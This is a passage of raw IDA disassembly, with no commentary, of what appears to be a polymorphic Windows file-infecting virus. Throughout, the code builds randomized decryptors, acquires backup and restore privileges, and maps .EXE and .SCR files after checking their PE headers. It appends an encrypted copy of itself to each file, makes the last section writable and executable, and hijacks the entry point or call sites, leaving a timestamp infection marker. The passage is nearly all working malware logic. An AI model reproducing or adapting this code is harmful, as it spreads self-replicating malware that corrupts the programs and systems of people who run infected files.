1831h test dword ptr [ebp+1039C0h], 100h jz short loc_3150CB29 mov al, 29h loc_3150CB29: ; CODE XREF: UPX2:3150CB25j or ah, [ebp+1039B9h] shl ah, 3 or ah, [ebp+1039B9h] stosw mov ax, 0F081h test dword ptr [ebp+1039C0h], 200h jnz short loc_3150CB4C mov ah, 0C8h loc_3150CB4C: ; CODE XREF: UPX2:3150CB48j or ah, [ebp+1039B9h] stosw loc_3150CB54: ; CODE XREF: UPX2:3150CB15j mov [ebp+1042E4h], edi mov eax, 29CCh stosd test dword ptr [ebp+1039C0h], 8 jz short loc_3150CBDD call sub_3150C76D test dword ptr [ebp+1039C0h], 400h jnz short loc_3150CB88 mov al, 0B8h or al, [ebp+1039BAh] stosb jmp short loc_3150CBD5 ; --------------------------------------------------------------------------- loc_3150CB88: ; CODE XREF: UPX2:3150CB7Bj test dword ptr [ebp+1039C0h], 800h jnz short loc_3150CBA5 mov ax, 0E083h or ah, [ebp+1039BAh] stosw xor eax, eax stosb jmp short loc_3150CBBA ; --------------------------------------------------------------------------- loc_3150CBA5: ; CODE XREF: UPX2:3150CB92j mov ax, 1829h or ah, [ebp+1039BAh] shl ah, 3 or ah, [ebp+1039BAh] stosw loc_3150CBBA: ; CODE XREF: UPX2:3150CBA3j test dword ptr [ebp+1039C0h], 1000h mov ax, 0C081h jz short loc_3150CBCD add ah, 8 loc_3150CBCD: ; CODE XREF: UPX2:3150CBC8j or ah, [ebp+1039BAh] stosw loc_3150CBD5: ; CODE XREF: UPX2:3150CB86j movzx eax, byte ptr [ebp+1039BEh] stosd loc_3150CBDD: ; CODE XREF: UPX2:3150CB6Aj call sub_3150C76D test dword ptr [ebp+1039C0h], 40000000h jz short loc_3150CBFC mov al, 50h add al, [ebp+1039B8h] stosb call sub_3150C76D loc_3150CBFC: ; CODE XREF: UPX2:3150CBECj lea ecx, [edi-2] mov [ebp+1042CCh], ecx test dword ptr [ebp+1039C0h], 80000000h jz short loc_3150CC28 mov al, 0E8h stosb mov eax, [ebp+1042F0h] sub eax, edi sub eax, 4 stosd mov [ebp+1042F0h], edi jmp short loc_3150CC2D ; --------------------------------------------------------------------------- loc_3150CC28: ; CODE XREF: UPX2:3150CC0Fj call sub_3150C7DF loc_3150CC2D: ; CODE XREF: UPX2:3150CC26j call sub_3150C76D test dword ptr [ebp+1039C0h], 10000h jnz short loc_3150CC49 mov al, 40h or al, [ebp+1039B8h] stosb jmp short loc_3150CC58 ; --------------------------------------------------------------------------- loc_3150CC49: ; CODE XREF: UPX2:3150CC3Cj mov ax, 0C083h or ah, [ebp+1039B8h] stosw mov al, 1 stosb loc_3150CC58: ; CODE XREF: UPX2:3150CC47j test dword ptr [ebp+1039C0h], 20000h jnz short loc_3150CC93 test dword ptr [ebp+1039C0h], 40000h jnz short loc_3150CC8A mov al, 0C0h or al, [ebp+1039BAh] mov ah, [ebp+1039BFh] shl eax, 10h mov ax, 8166h stosd mov al, 0 jmp short loc_3150CC92 ; --------------------------------------------------------------------------- loc_3150CC8A: ; CODE XREF: UPX2:3150CC6Ej mov al, 40h or al, [ebp+1039BAh] loc_3150CC92: ; CODE XREF: UPX2:3150CC88j stosb loc_3150CC93: ; CODE XREF: UPX2:3150CC62j test dword ptr [ebp+1039C0h], 80000h jnz short loc_3150CCAF mov ax, 0E883h or ah, [ebp+1039B9h] stosw mov al, 1 jmp short loc_3150CCB7 ; --------------------------------------------------------------------------- loc_3150CCAF: ; CODE XREF: UPX2:3150CC9Dj mov al, 48h or al, [ebp+1039B9h] loc_3150CCB7: ; CODE XREF: UPX2:3150CCADj stosb call sub_3150C76D test dword ptr [ebp+1039C0h], 100000h mov cl, 75h jnz short loc_3150CCF0 mov ax, 0F883h or ah, [ebp+1039B9h] stosw xor eax, eax stosb sub [ebp+1042CCh], edi test dword ptr [ebp+1039C0h], 200000h jnz short loc_3150CD0B mov cl, 77h jmp short loc_3150CD0B ; --------------------------------------------------------------------------- loc_3150CCF0: ; CODE XREF: UPX2:3150CCC9j mov ax, 1809h or ah, [ebp+1039B9h] shl ah, 3 or ah, [ebp+1039B9h] stosw sub [ebp+1042CCh], edi loc_3150CD0B: ; CODE XREF: UPX2:3150CCEAj ; UPX2:3150CCEEj mov al, cl mov ah, [ebp+1042CCh] stosw mov al, 58h add al, [ebp+1039B8h] stosb call sub_3150C76D test dword ptr [ebp+1039C0h], 2000003h jz short loc_3150CD5B test dword ptr [ebp+1039C0h], 8000000h jnz short loc_3150CD5B test dword ptr [ebp+1039C0h], 6000000h jnz short loc_3150CD51 call sub_3150C6FB call sub_3150C76D loc_3150CD51: ; CODE XREF: UPX2:3150CD45j call sub_3150C727 call sub_3150C76D loc_3150CD5B: ; CODE XREF: UPX2:3150CD2Dj ; UPX2:3150CD39j test dword ptr [ebp+1039C0h], 10000000h jz short loc_3150CD6F mov al, 0C9h stosb call sub_3150C76D loc_3150CD6F: ; CODE XREF: UPX2:3150CD65j test dword ptr [ebp+1039C0h], 400000h jz short loc_3150CDA5 mov al, 7 sub al, [ebp+1039B8h] shl eax, 1Ah or eax, 240889h add ah, [ebp+1039B8h] shl ah, 3 add ah, 4 stosd call sub_3150C76D mov al, 61h stosb call sub_3150C76D loc_3150CDA5: ; CODE XREF: UPX2:3150CD79j mov ax, 0E0FFh or ah, [ebp+1039B8h] stosw call sub_3150C76D test dword ptr [ebp+1039C0h], 20h jz short loc_3150CE31 test dword ptr [ebp+1039C0h], 80000000h jz short loc_3150CDED mov eax, edi mov ecx, [ebp+1042F0h] sub eax, ecx mov [ecx-4], eax call sub_3150C7DF call sub_3150C76D mov al, 0C3h stosb call sub_3150C76D loc_3150CDED: ; CODE XREF: UPX2:3150CDCCj mov eax, edi mov ecx, [ebp+1042C4h] sub eax, ecx mov [ecx-4], eax mov al, 58h or al, [ebp+1039B8h] stosb call sub_3150C76D test dword ptr [ebp+1039C0h], 800000h jz short loc_3150CE20 mov ax, 0C350h or al, [ebp+1039B8h] jmp short loc_3150CE2A ; --------------------------------------------------------------------------- loc_3150CE20: ; CODE XREF: UPX2:3150CE12j mov ax, 0E0FFh or ah, [ebp+1039B8h] loc_3150CE2A: ; CODE XREF: UPX2:3150CE1Ej stosw call sub_3150C76D loc_3150CE31: ; CODE XREF: UPX2:3150CDC0j test dword ptr [ebp+1039C0h], 2000003h jz short loc_3150CE9C mov ecx, edi mov eax, [ebp+1042DCh] sub ecx, eax mov [eax-4], ecx xor ecx, ecx test dword ptr [ebp+1039C0h], 1000000h jnz short loc_3150CE66 lea eax, [ebp+1039B8h] loc_3150CE5E: ; CODE XREF: UPX2:3150CE64j mov cl, [eax] inc eax cmp cl, 3 jnb short loc_3150CE5E loc_3150CE66: ; CODE XREF: UPX2:3150CE56j lea eax, ds:102444h[ecx*8] shl eax, 8 mov al, 8Bh stosd jecxz short loc_3150CE7B mov ax, 0C031h stosw loc_3150CE7B: ; CODE XREF: UPX2:3150CE73j mov ax, 808Fh push 0B8h add ah, cl stosw pop eax stosd test ecx, ecx jnz short loc_3150CE94 mov ax, 0C031h stosw loc_3150CE94: ; CODE XREF: UPX2:3150CE8Cj mov al, 0C3h stosb call sub_3150C76D loc_3150CE9C: ; CODE XREF: UPX2:3150CE3Bj lea eax, [ebp+1039CCh] test dword ptr [ebp+1039C0h], 20000000h jnz short loc_3150CEB4 push edi sub edi, eax pop eax jmp short loc_3150CECD ; --------------------------------------------------------------------------- loc_3150CEB4: ; CODE XREF: UPX2:3150CEACj mov edx, [ebx+28h] sub edi, eax sub edx, eax mov ecx, [ebp+1042E4h] add [ebp+1042C4h], edx add [ecx], edi mov eax, [esp+4] loc_3150CECD: ; CODE XREF: UPX2:3150CEB2j mov [ebp+101069h], edi mov edi, [ebp+1042C8h] sub eax, [ebp+1042C4h] test dword ptr [ebp+1039C0h], 40h jz short loc_3150CEED neg eax loc_3150CEED: ; CODE XREF: UPX2:3150CEE9j stosd retn 4 ; =============== S U B R O U T I N E ======================================= sub_3150CEF1 proc near ; CODE XREF: sub_3150D45B+336p push esi push edi cmp dword ptr [ebp+104300h], 0 jz loc_3150D0D9 call near ptr loc_3150CF11+1 dec ebx inc ebp push edx dec esi inc ebp dec esp xor esi, [edx] db 2Eh inc esp dec esp dec esp loc_3150CF11: ; CODE XREF: sub_3150CEF1+Fp add bh, bh sub_3150CEF1 endp ; sp-analysis failed xchg eax, ebp scasb db 3Eh adc [eax], al mov [ebp+104314h], eax push ebx mov ebx, [eax+3Ch] add ebx, eax push dword ptr [ebx+28h] mov eax, [ebx+34h] call near ptr dword_3150C410+4 mov edx, [ebp+1042F4h] pop ebx add eax, [edx+0Ch] mov [ebp+104318h], eax add eax, [edx+8] mov [ebp+10431Ch], eax mov esi, [ebx+28h] push dword ptr [ebx+80h] call near ptr dword_3150C410+4 mov edi, [ebp+1042F4h] push esi call near ptr dword_3150C410+4 mov edx, [ebp+1042F4h] mov ecx, [edx+8] add ecx, [edx+0Ch] sub ecx, esi sub ecx, 5 js loc_3150D0D9 jz loc_3150D0D9 add esi, [ebp+1042F8h] add esi, [ebp+1042B4h] ; START OF FUNCTION CHUNK FOR sub_3150D0AA loc_3150CF8B: ; CODE XREF: sub_3150D0AA+29j lodsb cmp al, 0E8h jnz loc_3150D036 lea eax, [esi+4] sub eax, [ebp+1042B4h] add eax, [esi] push eax call near ptr dword_3150C410+4 cmp dword ptr [ebp+1042F4h], 0 jnz short loc_3150CFB9 cmp eax, [edi+0Ch] jnb loc_3150D0D2 jmp short loc_3150CFC5 ; --------------------------------------------------------------------------- loc_3150CFB9: ; CODE XREF: sub_3150D0AA-FEj cmp [ebp+1042F4h], edx jnz loc_3150D0D2 loc_3150CFC5: ; CODE XREF: sub_3150D0AA-F3j add eax, [ebp+1042B4h] cmp word ptr [eax], 25FFh jnz loc_3150D0D2 mov eax, [eax+2] sub eax, [ebx+34h] push eax call near ptr dword_3150C410+4 cmp [ebp+1042F4h], edi jnz loc_3150D0D2 add eax, [ebp+1042F8h] add eax, [ebp+1042B4h] mov eax, [eax] sub eax, [edi+0Ch] jb loc_3150D0D2 cmp eax, [edi+8] jnb loc_3150D0D2 loc_3150D00E: ; CODE XREF: sub_3150D0AA+22j add eax, 2 add eax, [edi+14h] add eax, [ebp+1042B4h] push edx push eax push dword ptr [ebp+104314h] call dword ptr [ebp+103E6Eh] pop edx test eax, eax jnz loc_3150D0E8 jmp loc_3150D0D2 ; --------------------------------------------------------------------------- loc_3150D036: ; CODE XREF: sub_3150D0AA-11Cj cmp al, 0FFh jnz loc_3150D0D2 cmp byte ptr [esi], 15h jnz loc_3150D0D2 mov eax, [esi+1] sub eax, [ebx+34h] push eax call near ptr dword_3150C410+4 cmp [ebp+1042F4h], edi jnz short loc_3150D0D2 add eax, [ebp+1042F8h] add eax, [ebp+1042B4h] mov [ebp+104320h], eax mov eax, [eax] cmp eax, [ebp+104318h] jb short loc_3150D07F cmp eax, [ebp+10431Ch] jb short loc_3150D0E8 loc_3150D07F: ; CODE XREF: sub_3150D0AA-35j cmp eax, 70000000h jb short loc_3150D0BD call sub_3150D0AA lea ecx, [esi-4] mov eax, ecx sub eax, [edx] add eax, [edx+10h] cmp eax, [ebp+104320h] jnz short locret_3150D0A9 add esp, 10h push dword ptr [ecx] pop [esp-8+arg_20] popa jmp short loc_3150D0C4 ; --------------------------------------------------------------------------- locret_3150D0A9: ; CODE XREF: sub_3150D0AA-Fj retn ; END OF FUNCTION CHUNK FOR sub_3150D0AA ; =============== S U B R O U T I N E ======================================= sub_3150D0AA proc near ; CODE XREF: sub_3150D0AA-24p var_10 = dword ptr -10h arg_20 = dword ptr 24h ; FUNCTION CHUNK AT 3150CF8B SIZE 0000011F BYTES pop dword ptr [ebp+1042D4h] pusha mov esi, [ebp+1042B4h] call near ptr dword_3150C410+10Bh popa loc_3150D0BD: ; CODE XREF: sub_3150D0AA-26j test eax, 80000000h jnz short loc_3150D0D2 loc_3150D0C4: ; CODE XREF: sub_3150D0AA-3j sub eax, [edi+0Ch] jb short loc_3150D0D2 cmp eax, [edi+8] jb loc_3150D00E loc_3150D0D2: ; CODE XREF: sub_3150D0AA-F9j ; sub_3150D0AA-EBj ... dec ecx jnz loc_3150CF8B loc_3150D0D9: ; CODE XREF: sub_3150CEF1+9j ; UPX2:3150CF73j ... mov edi, [esp+0] and dword ptr [edi+29C0h], 0FFBFFFFFh jmp short loc_3150D12A ; --------------------------------------------------------------------------- loc_3150D0E8: ; CODE XREF: sub_3150D0AA-7Fj ; sub_3150D0AA-2Dj or dword ptr [edx+24h], 0E0000060h dec esi xor eax, eax mov ecx, [esp+10h+var_10] xchg eax, [ebp+104300h] mov [ebp+1042FCh], eax lea edi, [ecx+29C4h] add eax, [ebp+1042B4h] movsw movsd dec esi sub eax, esi add eax, [edx+14h] sub eax, [edx+0Ch] mov byte ptr [esi-5], 0E8h mov dword ptr [ecx+54h], 5 mov [esi-4], eax loc_3150D12A: ; CODE XREF: sub_3150D0AA+3Cj pop edi pop esi retn sub_3150D0AA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_3150D12D proc near ; CODE XREF: UPX2:3150D42Ep ; FUNCTION CHUNK AT 3150D257 SIZE 00000002 BYTES push edi call dword ptr [ebp+103EBAh] shr eax, 1Fh jnz loc_3150D257 push eax push esp push 28h push 0FFFFFFFFh call dword ptr [ebp+103F1Ah] test eax, eax pop edi js loc_3150D257 call sub_3150B5AF call near ptr loc_3150D168+5 push ebx db 65h jz short near ptr unk_3150D1A6 imul ebp, [ebp+53h], 72756365h loc_3150D168: ; CODE XREF: sub_3150D12D+2Ap imul esi, [ecx+edi*2+41h], 88B5FF00h sub_3150D12D endp ; sp-analysis failed inc edx adc [eax], al call dword ptr [ebp+103E6Eh] mov [ebp+104290h], eax call near ptr loc_3150D19C+1 push ebx db 65h push esp popa imul esp, [ebp+4Fh], 77h outsb db 65h jb short loc_3150D203 push 72507069h imul esi, [esi+69h], 6567656Ch loc_3150D19C: ; CODE XREF: UPX2:3150D17Fp add [edi-18h], dl sub eax, ebp ; --------------------------------------------------------------------------- db 0FFh db 0FFh db 0E8h ; db 13h db 0 unk_3150D1A6 db 0 ; CODE XREF: sub_3150D12D+30j db 0 db 53h ; S db 65h ; e db 52h ; R db 65h ; e db 73h ; s db 74h ; t db 6Fh ; o db 72h ; r db 65h ; e db 50h ; P db 72h ; r db 69h ; i db 76h ; v db 69h ; i db 6Ch ; l db 65h ; e db 67h ; g db 65h ; e db 0 db 57h ; W db 0E8h ; db 0Bh db 0E8h ; db 0FFh db 0FFh db 0E8h ; db 12h db 0 db 0 db 0 db 53h ; S db 65h ; e db 42h ; B db 61h ; a db 63h ; c db 6Bh ; k db 75h ; u db 70h ; p db 50h ; P db 72h ; r db 69h ; i db 76h ; v db 69h ; i db 6Ch ; l db 65h ; e db 67h ; g db 65h ; e db 0 db 57h ; W db 0E8h ; db 0EEh ; db 0E7h ; db 0FFh db 0FFh db 0E8h ; db 18h db 0 db 0 db 0 db 53h ; S db 65h ; e db 43h ; C db 68h ; h db 61h ; a db 6Eh ; n db 67h ; g db 65h ; e db 4Eh ; N db 6Fh ; o db 74h ; t db 69h ; i db 66h ; f db 79h ; y db 50h ; P db 72h ; r db 69h ; i db 76h ; v db 69h ; i db 6Ch ; l db 65h ; e db 67h ; g db 65h ; e db 0 db 57h ; W db 0E8h ; db 0CBh ; db 0E7h ; db 0FFh db 0FFh db 50h ; P db 54h ; T ; --------------------------------------------------------------------------- loc_3150D203: ; CODE XREF: UPX2:3150D18Dj lea eax, [ebp+103DCCh] push 64h push eax push 1 push edi call dword ptr [ebp+103F26h] mov [esp], edi call dword ptr [ebp+103E62h] sub al, al lea edi, [ebp+104184h] push eax push eax push eax push dword ptr [ebp+103DCCh] push 40001h push esp push 1 push edi call dword ptr [ebp+104290h] push esp push 4 push edi call dword ptr [ebp+104290h] add esp, 14h push dword ptr [ebp+104288h] call dword ptr [ebp+103E9Eh] ; START OF FUNCTION CHUNK FOR sub_3150D12D loc_3150D257: ; CODE XREF: sub_3150D12D+Aj ; sub_3150D12D+1Fj pop edi retn ; END OF FUNCTION CHUNK FOR sub_3150D12D ; =============== S U B R O U T I N E ======================================= sub_3150D259 proc near ; CODE XREF: UPX2:3150D427p ; UPX2:3150D433p ... lea esi, [ebp+104184h] push esi call dword ptr [ebp+103EA2h] cmp eax, 0FFFFFFFFh jz locret_3150D32A mov [ebp+104294h], eax push 0 push esi call dword ptr [ebp+103EDEh] test eax, eax jz locret_3150D32A sub eax, eax push eax push eax push 3 push eax push 1 push 0C0000000h push esi call dword ptr [ebp+103E7Eh] cmp eax, 0FFFFFFFFh jz loc_3150D8AB mov [ebp+104298h], eax lea ecx, [ebp+10429Ch] lea edx, [ebp+1042A4h] push ecx push edx push 0 push eax call dword ptr [ebp+103EAAh] cmp eax, 0FFFFFFFFh jz loc_3150D89F push 0 push dword ptr [ebp+104298h] call dword ptr [ebp+103EA6h] cmp eax, 0FFFFFFFFh jz loc_3150D89F mov [ebp+1042ACh], eax xor ecx, ecx add eax, ebx push ecx push eax push ecx push 4 push ecx push dword ptr [ebp+104298h] call dword ptr [ebp+103E82h] test eax, eax jz loc_3150D89F xor ecx, ecx mov [ebp+1042B0h], eax push ecx push ecx push ecx push 0F001Fh push eax call dword ptr [ebp+103ECAh] test eax, eax jz loc_3150D877 mov [ebp+1042B4h], eax locret_3150D32A: ; CODE XREF: sub_3150D259+10j ; sub_3150D259+27j ... retn sub_3150D259 endp ; --------------------------------------------------------------------------- loc_3150D32B: ; CODE XREF: sub_3150D45B+188p ; sub_3150D45B+2A0p mov eax, 7327h mov ecx, [ebx+38h] ; --------------------------------------------------------------------------- db 0F7h ; db 85h ; db 0C0h ; db 39h ; 9 db 10h db 0 db 0 db 0 db 0 ; --------------------------------------------------------------------------- and [ebp+6], dh add eax, [ebp+101069h] xor edx, edx add eax, ecx div ecx mul ecx mov [ebp+1042C0h], eax mov eax, 29CBh mov ecx, [ebx+3Ch] add eax, [ebp+101069h] xor edx, edx add eax, ecx div ecx mul ecx mov [ebp+1042B8h], eax retn ; =============== S U B R O U T I N E ======================================= sub_3150D370 proc near ; CODE XREF: sub_3150D45B:loc_3150D4D0p ; sub_3150D45B+1B4p movzx ecx, word ptr [ebx+6] stc loc_3150D375: ; CODE XREF: sub_3150D370+23j jecxz short locret_3150D3AC lea edx, [ebx+18h] movzx eax, word ptr [ebx+14h] add edx, eax dec ecx imul eax, ecx, 28h add edx, eax cmp dword ptr [edx], 6E69775Fh stc jz short locret_3150D3AC cmp dword ptr [edx+0Ch], 1 jb short loc_3150D375 mov ecx, [ebx+3Ch] mov eax, [edx+14h] add eax, [edx+10h] lea eax, [eax+ecx*2-1] neg ecx and eax, ecx cmp eax, [ebp+1042ACh] locret_3150D3AC: ; CODE XREF: sub_3150D370:loc_3150D375j ; sub_3150D370+1Dj ... retn sub_3150D370 endp ; =============== S U B R O U T I N E ======================================= sub_3150D3AD proc near ; CODE XREF: UPX2:3150D445p arg_C = dword ptr 10h mov edx, [esp+arg_C] xor eax, eax pop dword ptr [edx+0B8h] retn sub_3150D3AD endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_3150D3BA: ; CODE XREF: UPX2:3150D3DBj mov ecx, edi jmp short loc_3150D3C9 ; --------------------------------------------------------------------------- lea edi, [ebp+104184h] cld loc_3150D3C5: ; CODE XREF: UPX2:3150D3D7j mov ebx, edi xor ecx, ecx loc_3150D3C9: ; CODE XREF: UPX2:3150D3BCj ; UPX2:3150D3DFj lodsb cmp al, 61h jb short loc_3150D3D4 cmp al, 7Ah ja short loc_3150D3D4 sub al, 20h loc_3150D3D4: ; CODE XREF: UPX2:3150D3CCj ; UPX2:3150D3D0j stosb cmp al, 5Ch jz short loc_3150D3C5 cmp al, 2Eh jz short loc_3150D3BA cmp al, 0 jnz short loc_3150D3C9 jecxz short locret_3150D3AC mov eax, [ecx] cmp eax, 455845h jz short loc_3150D3F7 cmp eax, 524353h jnz locret_3150D32A loc_3150D3F7: ; CODE XREF: UPX2:3150D3EAj mov eax, [ebx] cmp eax, 434E4957h jz locret_3150D32A cmp eax, 4E554357h jz locret_3150D32A cmp eax, 32334357h jz locret_3150D32A cmp eax, 4F545350h jz locret_3150D32A xor ebx, ebx call sub_3150D259 jnz short loc_3150D43E call sub_3150D12D call sub_3150D259 jz locret_3150D32A loc_3150D43E: ; CODE XREF: UPX2:3150D42Cj xor edx, edx call sub_3150D45B call sub_3150D3AD call $+5 pop ebp sub ebp, 10344Fh jmp loc_3150D855 ; =============== S U B R O U T I N E ======================================= sub_3150D45B proc near ; CODE XREF: UPX2:3150D440p var_1C = dword ptr -1Ch push dword ptr fs:[edx] mov esi, [ebp+1042B4h] mov fs:[edx], esp cmp word ptr [esi], 5A4Dh jnz loc_3150D855 mov ebx, [esi+3Ch] add ebx, esi cmp word ptr [ebx], 4550h jnz loc_3150D855 test dword ptr [ebx+16h], 2000h jnz loc_3150D855 test byte ptr [ebx+5Ch], 2 jz loc_3150D855 mov eax, [ebx+8] cmp eax, 0A0A0A0A0h jz loc_3150D855 cmp eax, 20202020h jz loc_3150D855 mov ecx, [ebx+0C8h] jecxz short loc_3150D4D0 push ecx call near ptr dword_3150C410+4 add ecx, [ebp+1042F8h] add ecx, esi and dword ptr [ecx+40h], 0 and dword ptr [ecx+44h], 0 loc_3150D4D0: ; CODE XREF: sub_3150D45B+5Dj call sub_3150D370 jb loc_3150D855 and dword ptr [ebp+1042FCh], 0 mov eax, [edx+8] mov ecx, [edx+10h] sub eax, ecx jnb short loc_3150D4F0 xor eax, eax jmp short loc_3150D4F5 ; --------------------------------------------------------------------------- loc_3150D4F0: ; CODE XREF: sub_3150D45B+8Fj add ecx, eax mov [edx+10h], ecx loc_3150D4F5: ; CODE XREF: sub_3150D45B+93j mov [ebp+1042BCh], eax add ecx, [edx+0Ch] mov eax, 10000h push ecx call near ptr dword_3150BB50+43h xor [ebp+1039BEh], dl mov cl, 20h xor [ebp+1039BFh], dh loc_3150D517: ; CODE XREF: sub_3150D45B+D5j push 20h dec cl pop eax js short loc_3150D532 call near ptr dword_3150BB50+43h test edx, edx setz dl shl edx, cl xor [ebp+1039C0h], edx jmp short loc_3150D517 ; --------------------------------------------------------------------------- loc_3150D532: ; CODE XREF: sub_3150D45B+C1j test dword ptr [ebp+1039C0h], 2000000h jz short loc_3150D560 test dword ptr [ebp+1039C0h], 3 jnz short loc_3150D556 and dword ptr [ebp+1039C0h], 0F7FFFFFFh jmp short loc_3150D560 ; --------------------------------------------------------------------------- loc_3150D556: ; CODE XREF: sub_3150D45B+EDj or dword ptr [ebp+1039C0h], 10000000h loc_3150D560: ; CODE XREF: sub_3150D45B+E1j ; sub_3150D45B+F9j ... push 6 pop ecx loc_3150D566: ; CODE XREF: sub_3150D45B+129j push 6 pop eax call near ptr dword_3150BB50+43h mov al, [ebp+1039B8h] xchg al, [edx+ebp+1039B8h] mov [ebp+1039B8h], al loop loc_3150D566 test dword ptr [ebp+1039C0h], 8 jnz short loc_3150D59B cmp byte ptr [ebp+1039BAh], 1 jz short loc_3150D560 loc_3150D59B: ; CODE XREF: sub_3150D45B+135j test dword ptr [ebp+1039C0h], 10000000h jz short loc_3150D5C2 cmp byte ptr [ebp+1039B8h], 5 jz short loc_3150D560 cmp byte ptr [ebp+1039B9h], 5 jz short loc_3150D560 cmp byte ptr [ebp+1039BAh], 5 jz short loc_3150D560 loc_3150D5C2: ; CODE XREF: sub_3150D45B+14Aj test dword ptr [ebp+1039C0h], 400000h jz short loc_3150D5D7 cmp byte ptr [ebp+1039B8h], 2 ja short loc_3150D560 loc_3150D5D7: ; CODE XREF: sub_3150D45B+171j and dword ptr [ebp+104300h], 0 call loc_3150C855 call loc_3150D32B call sub_3150D85E mov ebx, [ebp+1042B8h] add ebx, [ebp+1042BCh] call sub_3150D259 jz loc_3150D855 mov esi, [ebp+1042B4h] mov ebx, [esi+3Ch] add ebx, esi call sub_3150D370 jb loc_3150D855 or dword ptr [edx+24h], 0E0000060h mov edi, esi push edx push esi add edi, [edx+14h] add edi, [edx+10h] test dword ptr [ebp+1039C0h], 20000000h jnz short loc_3150D64B mov [ebp+104304h], edi lea esi, [ebp+1039CCh] mov ecx, [ebp+101069h] rep movsb loc_3150D64B: ; CODE XREF: sub_3150D45B+1DAj push edi mov ecx, 0A73h lea esi, [ebp+101000h] rep movsd mov cl, 0 jecxz short loc_3150D65F rep movsb loc_3150D65F: ; CODE XREF: sub_3150D45B+200j test dword ptr [ebp+1039C0h], 20000000h jz loc_3150D71D push dword ptr [ebx+28h] call near ptr dword_3150C410+4 mov edx, [ebp+1042F4h] test edx, edx jz loc_3150D71D mov esi, [ebp+1042B4h] mov ecx, [edx+10h] or dword ptr [edx+24h], 0E0000060h sub ecx, [edx+8] jnb short loc_3150D69C xor ecx, ecx loc_3150D69C: ; CODE XREF: sub_3150D45B+23Dj add esi, [edx+14h] cmp ecx, [ebp+101069h] mov ecx, [ebp+101069h] jb short loc_3150D703 mov edi, [esp+1Ch+var_1C] and dword ptr [ebp+101069h], 0 and dword ptr [edi+69h], 0 mov edi, [edx+8] add [edx+8], ecx add esi, edi xchg esi, edi mov eax, [ebp+1042C8h] test dword ptr [ebp+1039C0h], 40h jz short loc_3150D6DC neg dword ptr [eax] loc_3150D6DC: ; CODE XREF: sub_3150D45B+27Dj add esi, [edx+0Ch] sub [eax], esi mov [ebp+104300h], esi mov esi, [ebx+28h] add [eax], esi test dword ptr [ebp+1039C0h], 40h jz short loc_3150D6FA neg dword ptr [eax] loc_3150D6FA: ; CODE XREF: sub_3150D45B+29Bj push ecx call loc_3150D32B pop ecx jmp short loc_3150D70F ; --------------------------------------------------------------------------- loc_3150D703: ; CODE XREF: sub_3150D45B+250j add esi, [ebx+28h] sub esi, [edx+0Ch] push ecx push esi rep movsb pop edi pop ecx loc_3150D70F: ; CODE XREF: sub_3150D45B+2A6j lea esi, [ebp+1039CCh] mov [ebp+104304h], edi rep movsb loc_3150D71D: ; CODE XREF: sub_3150D45B+20Ej ; sub_3150D45B+224j pop edi pop esi rdtsc xchg eax, edx lea eax, [edi+137h] cmp dl, [ebp+1039BEh] jnz short loc_3150D736 imul edx, 12345678h loc_3150D736: ; CODE XREF: sub_3150D45B+2D3j mov [eax-19h], dx call sub_3150B120 pop edx mov ecx, [edx+0Ch] add ecx, [edx+10h] test dword ptr [ebp+1039C0h], 20000000h lea eax, [ecx+5] jnz short loc_3150D768 mov [ebp+104300h], ecx add eax, [ebp+101069h] and dword ptr [edi+69h], 0 loc_3150D768: ; CODE XREF: sub_3150D45B+2F8j sub eax, [ebx+28h] mov [edi+54h], eax test dword ptr [ebp+103F7Ch], 1 jz short loc_3150D784 mov dword ptr [ebx+8], 0A0A0A0A0h loc_3150D784: ; CODE XREF: sub_3150D45B+320j test dword ptr [ebp+1039C0h], 400000h jz short loc_3150D797 push edx call sub_3150CEF1 pop edx loc_3150D797: ; CODE XREF: sub_3150D45B+333j mov ecx, [ebp+104300h] jecxz short loc_3150D7A4 mov [ebx+28h], ecx jmp short loc_3150D7B1 ; --------------------------------------------------------------------------- loc_3150D7A4: ; CODE XREF: sub_3150D45B+342j mov ecx, [ebp+1042FCh] jecxz short loc_3150D7AE jmp short loc_3150D7B1 ; --------------------------------------------------------------------------- loc_3150D7AE: ; CODE XREF: sub_3150D45B+34Fj mov ecx, [ebx+28h] loc_3150D7B1: ; CODE XREF: sub_3150D45B+347j ; sub_3150D45B+351j test dword ptr [ebp+1039C0h], 3 jz short loc_3150D7D1 mov eax, [ebp+104304h] add ecx, [ebp+1042ECh] add eax, [ebp+1042E8h] add [eax], ecx loc_3150D7D1: ; CODE XREF: sub_3150D45B+360j mov ecx, [edx+10h] mov eax, [ebp+1042B8h] cmp [edx+8], ecx jnb short loc_3150D7E2 mov [edx+8], ecx loc_3150D7E2: ; CODE XREF: sub_3150D45B+382j add [edx+10h], eax and dword ptr [ebx+58h], 0 mov eax, [ebp+1042C0h] push 29CCh add [edx+8], eax pop ecx add [ebx+50h], eax mov dl, [ebp+1039BEh] test dword ptr [ebp+1039C0h], 20000000h jz short loc_3150D813 add ecx, [ebp+101069h] loc_3150D813: ; CODE XREF: sub_3150D45B+3B0j mov dh, 0 test dword ptr [ebp+1039C0h], 20000h jnz short loc_3150D835 inc dh test dword ptr [ebp+1039C0h], 40000h jnz short loc_3150D835 mov dh, [ebp+1039BFh] loc_3150D835: ; CODE XREF: sub_3150D45B+3C4j ; sub_3150D45B+3D2j test dword ptr [ebp+1039C0h], 4000h jnz short loc_3150D84C loc_3150D841: ; CODE XREF: sub_3150D45B+3EDj mov al, [edi] add al, dl stosb add dl, dh loop loc_3150D841 jmp short loc_3150D855 ; --------------------------------------------------------------------------- loc_3150D84C: ; CODE XREF: sub_3150D45B+3E4j ; sub_3150D45B+3F8j mov al, [edi] xor al, dl stosb add dl, dh loop loc_3150D84C loc_3150D855: ; CODE XREF: UPX2:3150D456j ; sub_3150D45B+11j ... xor edx, edx mov esp, fs:[edx] pop dword ptr fs:[edx] pop eax sub_3150D45B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_3150D85E proc near ; CODE XREF: sub_3150D45B+18Dp cmp dword ptr [ebp+104298h], 0 jz locret_3150D32A push dword ptr [ebp+1042B4h] call dword ptr [ebp+103EEEh] loc_3150D877: ; CODE XREF: sub_3150D259+C5j push dword ptr [ebp+1042B0h] call dword ptr [ebp+103E62h] lea ecx, [ebp+10429Ch] lea edx, [ebp+1042A4h] push ecx push edx push 0 push dword ptr [ebp+104298h] call dword ptr [ebp+103EE2h] loc_3150D89F: ; CODE XREF: sub_3150D259+6Bj ; sub_3150D259+82j ... push dword ptr [ebp+104298h] call 